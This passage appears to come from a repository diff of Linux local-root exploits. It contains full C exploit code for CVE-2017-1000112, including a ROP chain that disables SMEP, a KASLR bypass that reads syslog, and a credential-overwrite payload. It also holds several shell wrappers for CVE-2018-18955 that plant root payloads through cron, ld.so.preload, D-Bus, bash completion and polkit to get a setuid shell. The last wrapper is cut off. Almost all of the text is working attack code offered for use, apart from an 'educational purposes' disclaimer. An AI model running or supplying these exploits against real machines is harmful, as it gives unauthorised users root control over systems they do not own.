// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
void get_root(void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
uint64_t saved_esp;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" \n\
payload: \n\
movq %%rbp, %%rax \n\
movq $0xffffffff00000000, %%rdx \n\
andq %%rdx, %%rax \n\
movq %0, %%rdx \n\
addq %%rdx, %%rax \n\
movq %%rax, %%rsp \n\
call get_root \n\
ret \n\
" : : "m"(saved_esp) : );
}
void payload();
#define CHAIN_SAVE_ESP \
*stack++ = POP_RDI_RET; \
*stack++ = (uint64_t)&saved_esp; \
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define SMEP_MASK 0x100000
#define CHAIN_DISABLE_SMEP \
*stack++ = MOV_RAX_CR4_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = POP_RCX_RET; \
*stack++ = SMEP_MASK; \
*stack++ = OR_RAX_RCX_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = XCHG_EAX_EDI_RET; \
*stack++ = MOV_CR4_RDI_RET;
#define CHAIN_JMP_PAYLOAD \
*stack++ = POP_RCX_RET; \
*stack++ = (uint64_t)&payload; \
*stack++ = JMP_RCX;
void mmap_stack() {
uint64_t stack_aligned, stack_addr;
int page_size, stack_size, stack_offset;
uint64_t* stack;
page_size = getpagesize();
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
stack_addr = stack_aligned - page_size * 4;
stack_size = page_size * 8;
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
CHAIN_SAVE_ESP;
CHAIN_DISABLE_SMEP;
CHAIN_JMP_PAYLOAD;
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
void mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
exit(EXIT_FAILURE);
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
exit(EXIT_FAILURE);
}
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
exit(EXIT_FAILURE);
}
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
exit(EXIT_FAILURE);
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
exit(EXIT_FAILURE);
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
exit(EXIT_FAILURE);
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr() {
char* syslog;
int size;
mmap_syslog(&syslog, &size);
if (strcmp("trusty", kernels[kernel].distro) == 0 &&
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
strncmp("4.8.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_xenial(syslog, size);
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, unsigned long func) {
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
memset(ssi, 0, sizeof(*ssi));
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = func;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define SHINFO_OFFSET 3164
void oob_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
int s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (void*)&addr, sizeof(addr))) {
perror("[-] connect()");
exit(EXIT_FAILURE);
}
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE);
if (rv != size) {
perror("[-] send()");
exit(EXIT_FAILURE);
}
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
if (rv != 0) {
perror("[-] setsockopt(SO_NO_CHECK)");
exit(EXIT_FAILURE);
}
send(s, buffer, 1, 0);
close(s);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (true) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define LSB_RELEASE_LENGTH 1024
void get_distro_codename(char* output, int max_length) {
char buffer[LSB_RELEASE_LENGTH];
int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
if (length == -1) {
perror("[-] open/read(/etc/lsb-release)");
exit(EXIT_FAILURE);
}
const char *needle = "DISTRIB_CODENAME=";
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
exit(EXIT_FAILURE);
}
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
assert(i < max_length);
assert((found - &buffer[0]) + needle_length + i < length);
output[i] = found[needle_length + i];
}
}
void get_kernel_version(char* output, int max_length) {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
perror("[-] uname())");
exit(EXIT_FAILURE);
}
assert(strlen(u.release) <= max_length);
strcpy(&output[0], u.release);
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define DISTRO_CODENAME_LENGTH 32
#define KERNEL_VERSION_LENGTH 32
void detect_versions() {
char codename[DISTRO_CODENAME_LENGTH];
char version[KERNEL_VERSION_LENGTH];
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
strcmp(&version[0], kernels[i].version) == 0) {
printf("[.] kernel version '%s' detected\n", kernels[i].version);
kernel = i;
return;
}
}
printf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
#define PROC_CPUINFO_LENGTH 4096
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
char buffer[PROC_CPUINFO_LENGTH];
int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
perror("[-] open/read(/proc/cpuinfo)");
exit(EXIT_FAILURE);
}
int rv = 0;
char* found = memmem(&buffer[0], length, "smep", 4);
if (found != NULL)
rv += 1;
found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL)
rv += 2;
return rv;
}
void check_smep_smap() {
int rv = smap_smep_enabled();
if (rv >= 2) {
printf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
#if !ENABLE_SMEP_BYPASS
if (rv >= 1) {
printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
exit(EXIT_FAILURE);
}
#endif
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
printf("[!] unprivileged user namespaces are not available\n");
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
perror("[-] system(/sbin/ifconfig lo mtu 1500)");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
void exec_shell() {
char* shell = "/bin/bash";
char* args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
printf("[.] checking if we got root\n");
if (!is_root()) {
printf("[-] something went wrong =(\n");
return;
}
printf("[+] got r00t ^_^\n");
exec_shell();
}
int main(int argc, char** argv) {
printf("[.] starting\n");
printf("[.] checking distro and kernel versions\n");
detect_versions();
printf("[~] done, versions looks good\n");
printf("[.] checking SMEP and SMAP\n");
check_smep_smap();
printf("[~] done, looks good\n");
printf("[.] setting up namespace sandbox\n");
setup_sandbox();
printf("[~] done, namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
printf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
printf("[~] done, kernel text: %lx\n", KERNEL_BASE);
#endif
printf("[.] commit_creds: %lx\n", COMMIT_CREDS);
printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
unsigned long payload = (unsigned long)&get_root;
#if ENABLE_SMEP_BYPASS
printf("[.] SMEP bypass enabled, mmapping fake stack\n");
mmap_stack();
payload = XCHG_EAX_ESP_RET;
printf("[~] done, fake stack mmapped\n");
#endif
printf("[.] executing payload %lx\n", payload);
oob_execute(payload);
printf("[~] done, should be root now\n");
check_root();
return 0;
}

View File

@ -0,0 +1,20 @@
id: CVE-2017-1000112
source: https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112
info:
name: Linux内核是Linux基金会的开源操作系统Linux所使用的内核。
severity: high
description: |
由于UFO到非UFO的路径切换导致可被利用的内存损坏。
scope-of-influence:
linux_kernel <= 4.13.9
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-1000112
- https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112
classification:
cvss-metrics: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.0
cve-id: CVE-2017-1000112
cwe-id: CWE-362
cnvd-id: None
kve-id: None
tags: kernel, Privelege Escalation

View File

@ -0,0 +1,29 @@
<h1 align='center'>CVE-2018-18955</h1>
Linux local root exploit.
Wrapper for Jann Horn's
[exploit](https://bugs.chromium.org/p/project-zero/issues/detail?id=1712) for
[CVE-2018-18955](https://nvd.nist.gov/vuln/detail/CVE-2018-18955), forked from
[kernel-exploits](https://github.com/bcoles/kernel-exploits).
In the Linux kernel 4.15.x through 4.19.x before 4.19.2, `map_write()`
in `kernel/user_namespace.c` allows privilege escalation because it
mishandles nested user namespaces with more than 5 UID or GID ranges. A
user who has `CAP_SYS_ADMIN` in an affected user namespace can bypass
access controls on resources outside the namespace, as demonstrated by
reading `/etc/shadow`. This occurs because an ID transformation takes
place properly for the namespaced-to-kernel direction but not for the
kernel-to-namespaced direction.
### Usage
Simply run one of the shell
scripts depending on the targeted exploitation technique.
### Disclaimer
Running unathorized attacks to public or private servers is illegal. The
content of this repository is for educational purposes only and no
responsibility will be taken by the authors in case of ill use of the
provided material.

View File

@ -0,0 +1,103 @@
#!/bin/sh
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses bash_completion technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.bash_completion.sh
# [*] Compiling...
# [*] Writing payload to /etc/bash_completion.d/subuid ...
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [*] Waiting for root user to login ...
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Oct 4 13:46 /tmp/sh
# [*] Cleaning up...
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)
rootshell="/tmp/sh"
bootstrap="/etc/bash_completion.d/subuid"
command_exists() {
command -v "${1}" >/dev/null 2>/dev/null
}
if ! command_exists /usr/bin/newuidmap; then
echo '[-] newuidmap is not installed'
exit 1
fi
if ! command_exists /usr/bin/newgidmap; then
echo '[-] newgidmap is not installed'
exit 1
fi
if ! test -w .; then
echo '[-] working directory is not writable'
exit 1
fi
echo "[*] Compiling..."
if ! gcc subuid_shell.c -o subuid_shell; then
echo 'Compiling subuid_shell.c failed'
echo 'Using precompiled binary'
cp bin/subuid_shell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc subshell.c -o subshell; then
echo 'Compiling gcc_subshell.c failed'
echo 'Using precompiled binary'
cp bin/subshell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc rootshell.c -o "${rootshell}"; then
echo 'Compiling rootshell.c failed'
echo 'Using precompiled binary'
cp bin/rootshell "${rootshell}"
if [ $? -ne 0 ]
then
echo "Could not copy rootshell to '${rootshell}'"
exit 1
fi
fi
echo "[*] Writing payload to /etc/bash_completion.d/subuid ..."
echo "echo 'if [[ \$EUID -ne 0 ]]; then exit; fi; /bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}; /bin/rm ${bootstrap}' > ${bootstrap}" | ./subuid_shell ./subshell
echo "[*] Waiting for root user to login ..."
while [ ! -u "${rootshell}" ];
do
sleep 15;
done
echo '[+] Success:'
/bin/ls -la "${rootshell}"
echo '[*] Cleaning up...'
/bin/rm subuid_shell
/bin/rm subshell
echo "[*] Launching root shell: ${rootshell}"
$rootshell

View File

@ -0,0 +1,118 @@
#!/bin/sh
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses crontab technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.cron.sh
# [*] Compiling...
# [*] Writing payload to /tmp/payload...
# [*] Adding cron job... (wait a minute)
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Nov 21 19:47 /tmp/sh
# [*] Cleaning up...
# [!] Remember to clean up /etc/crontab
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)
rootshell="/tmp/sh"
bootstrap="/tmp/payload"
command_exists() {
command -v "${1}" >/dev/null 2>/dev/null
}
if ! command_exists /usr/bin/newuidmap; then
echo '[-] newuidmap is not installed'
exit 1
fi
if ! command_exists /usr/bin/newgidmap; then
echo '[-] newgidmap is not installed'
exit 1
fi
if ! test -w .; then
echo '[-] working directory is not writable'
exit 1
fi
echo "[*] Compiling..."
if ! gcc subuid_shell.c -o subuid_shell; then
echo 'Compiling subuid_shell.c failed'
echo 'Using precompiled binary'
cp bin/subuid_shell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc subshell.c -o subshell; then
echo 'Compiling gcc_subshell.c failed'
echo 'Using precompiled binary'
cp bin/subshell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc rootshell.c -o "${rootshell}"; then
echo 'Compiling rootshell.c failed'
echo 'Using precompiled binary'
cp bin/rootshell "${rootshell}"
if [ $? -ne 0 ]
then
echo "Could not copy rootshell to '${rootshell}'"
exit 1
fi
fi
echo "[*] Writing payload to ${bootstrap}..."
echo "#!/bin/sh\n/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" > $bootstrap
/bin/chmod +x "${bootstrap}"
echo "[*] Adding cron job... (wait a minute)"
echo "echo '* * * * * root ${bootstrap}' >> /etc/crontab" | ./subuid_shell ./subshell
sleep 60
if ! test -u "${rootshell}"; then
echo '[-] Failed'
/bin/rm "${rootshell}"
/bin/rm "${bootstrap}"
exit 1
fi
echo '[+] Success:'
ls -la "${rootshell}"
echo '[*] Cleaning up...'
/bin/rm "${bootstrap}"
/bin/rm subuid_shell
/bin/rm subshell
if command_exists /bin/sed; then
echo "/bin/sed -i '\$ d' /etc/crontab" | $rootshell
else
echo "[!] Manual clean up of /etc/crontab required"
fi
echo "[*] Launching root shell: ${rootshell}"
$rootshell

View File

@ -0,0 +1,162 @@
#!/bin/sh
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses dbus service technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.dbus.sh
# [*] Compiling...
# [*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service...
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf...
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [*] Launching dbus service...
# Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Jan 4 18:31 /tmp/sh
# [*] Cleaning up...
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)
rootshell="/tmp/sh"
service="org.subuid.Service"
command_exists() {
command -v "${1}" >/dev/null 2>/dev/null
}
if ! command_exists /usr/bin/dbus-send; then
echo '[-] dbus-send is not installed'
exit 1
fi
if ! command_exists /usr/bin/newuidmap; then
echo '[-] newuidmap is not installed'
exit 1
fi
if ! command_exists /usr/bin/newgidmap; then
echo '[-] newgidmap is not installed'
exit 1
fi
if ! test -w .; then
echo '[-] working directory is not writable'
exit 1
fi
echo "[*] Compiling..."
if ! gcc subuid_shell.c -o subuid_shell; then
echo 'Compiling subuid_shell.c failed'
echo 'Using precompiled binary'
cp bin/subuid_shell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc subshell.c -o subshell; then
echo 'Compiling gcc_subshell.c failed'
echo 'Using precompiled binary'
cp bin/subshell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc rootshell.c -o "${rootshell}"; then
echo 'Compiling rootshell.c failed'
echo 'Using precompiled binary'
cp bin/rootshell "${rootshell}"
if [ $? -ne 0 ]
then
echo "Could not copy rootshell to '${rootshell}'"
exit 1
fi
fi
echo "[*] Creating /usr/share/dbus-1/system-services/${service}.service..."
cat << EOF > "${service}.service"
[D-BUS Service]
Name=${service}
Exec=/bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}"
User=root
EOF
echo "cp ${service}.service /usr/share/dbus-1/system-services/${service}.service" | ./subuid_shell ./subshell
if ! test -r "/usr/share/dbus-1/system-services/${service}.service"; then
echo '[-] Failed'
/bin/rm "${rootshell}"
exit 1
fi
echo "[*] Creating /etc/dbus-1/system.d/${service}.conf..."
cat << EOF > "${service}.conf"
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<policy context="default">
<allow send_destination="${service}"/>
</policy>
</busconfig>
EOF
echo "cp ${service}.conf /etc/dbus-1/system.d/${service}.conf" | ./subuid_shell ./subshell
if ! test -r "/etc/dbus-1/system.d/${service}.conf"; then
echo '[-] Failed'
/bin/rm "${rootshell}"
exit 1
fi
echo "[*] Launching dbus service..."
/usr/bin/dbus-send --system --print-reply --dest="${service}" --type=method_call --reply-timeout=1 / "${service}"
sleep 1
if ! test -u "${rootshell}"; then
echo '[-] Failed'
/bin/rm "${rootshell}"
exit 1
fi
echo '[+] Success:'
/bin/ls -la "${rootshell}"
echo '[*] Cleaning up...'
/bin/rm subuid_shell
/bin/rm subshell
/bin/rm "${service}.conf"
/bin/rm "${service}.service"
echo "/bin/rm /usr/share/dbus-1/system-services/${service}.service" | $rootshell
echo "/bin/rm /etc/dbus-1/system.d/${service}.conf" | $rootshell
echo "[*] Launching root shell: ${rootshell}"
$rootshell

View File

@ -0,0 +1,110 @@
#!/bin/sh
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses ld.so.preload technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.ldpreload.sh
# [*] Compiling...
# [*] Adding libsubuid.so to /etc/ld.so.preload...
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Nov 21 19:07 /tmp/sh
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)
rootshell="/tmp/sh"
lib="libsubuid.so"
command_exists() {
command -v "${1}" >/dev/null 2>/dev/null
}
if ! command_exists /usr/bin/newuidmap; then
echo '[-] newuidmap is not installed'
exit 1
fi
if ! command_exists /usr/bin/newgidmap; then
echo '[-] newgidmap is not installed'
exit 1
fi
if ! test -w .; then
echo '[-] working directory is not writable'
exit 1
fi
echo "[*] Compiling..."
if ! gcc subuid_shell.c -o subuid_shell; then
echo 'Compiling subuid_shell.c failed'
echo 'Using precompiled binary'
cp bin/subuid_shell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc subshell.c -o subshell; then
echo 'Compiling gcc_subshell.c failed'
echo 'Using precompiled binary'
cp bin/subshell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc rootshell.c -o "${rootshell}"; then
echo 'Compiling rootshell.c failed'
echo 'Using precompiled binary'
cp bin/rootshell "${rootshell}"
if [ $? -ne 0 ]
then
echo "Could not copy rootshell to '${rootshell}'"
exit 1
fi
fi
if ! gcc libsubuid.c -fPIC -shared -o "${lib}"; then
echo 'Compiling libsubuid.c failed'
echo 'Using precompiled shared library'
cp bin/libsubuid "${lib}"
fi
echo "[*] Adding ${lib} to /etc/ld.so.preload..."
echo "cp ${lib} /lib/; echo /lib/${lib} > /etc/ld.so.preload" | ./subuid_shell ./subshell
/usr/bin/newuidmap
if ! test -u "${rootshell}"; then
echo '[-] Failed'
/bin/rm "${rootshell}"
exit 1
fi
echo '[+] Success:'
/bin/ls -la "${rootshell}"
echo '[*] Cleaning up...'
/bin/rm subuid_shell
/bin/rm subshell
echo "/bin/rm /lib/${lib}" | $rootshell
echo "[*] Launching root shell: ${rootshell}"
$rootshell

View File

@ -0,0 +1,134 @@
#!/bin/sh
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses polkit technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.polkit.sh
# [*] Compiling...
# [*] Creating /usr/share/polkit-1/actions/subuid.policy...
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [*] Launching pkexec...
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Dec 29 14:22 /tmp/sh
# [*] Cleaning up...
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)
rootshell="/tmp/sh"
policy="subuid.policy"
command_exists() {
command -v "${1}" >/dev/null 2>/dev/null
}
if ! command_exists /usr/bin/pkexec; then
echo '[-] pkexec is not installed'
exit 1
fi
if ! command_exists /usr/bin/newuidmap; then
echo '[-] newuidmap is not installed'
exit 1
fi
if ! command_exists /usr/bin/newgidmap; then
echo '[-] newgidmap is not installed'
exit 1
fi
if ! test -w .; then
echo '[-] working directory is not writable'
exit 1
fi
echo "[*] Compiling..."
if ! gcc subuid_shell.c -o subuid_shell; then
echo 'Compiling subuid_shell.c failed'
echo 'Using precompiled binary'
cp bin/subuid_shell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc subshell.c -o subshell; then
echo 'Compiling gcc_subshell.c failed'
echo 'Using precompiled binary'
cp bin/subshell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc rootshell.c -o "${rootshell}"; then
echo 'Compiling rootshell.c failed'
echo 'Using precompiled binary'
cp bin/rootshell "${rootshell}"
if [ $? -ne 0 ]
then
echo "Could not copy rootshell to '${rootshell}'"
exit 1
fi
fi
echo "[*] Creating /usr/share/polkit-1/actions/${policy}..."
echo '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE policyconfig PUBLIC
"-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
"http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">
<policyconfig>
<action id="org.freedesktop.policykit.exec">
<defaults>
<allow_any>yes</allow_any>
<allow_inactive>yes</allow_inactive>
<allow_active>yes</allow_active>
</defaults>
</action>
</policyconfig>' > "${policy}"
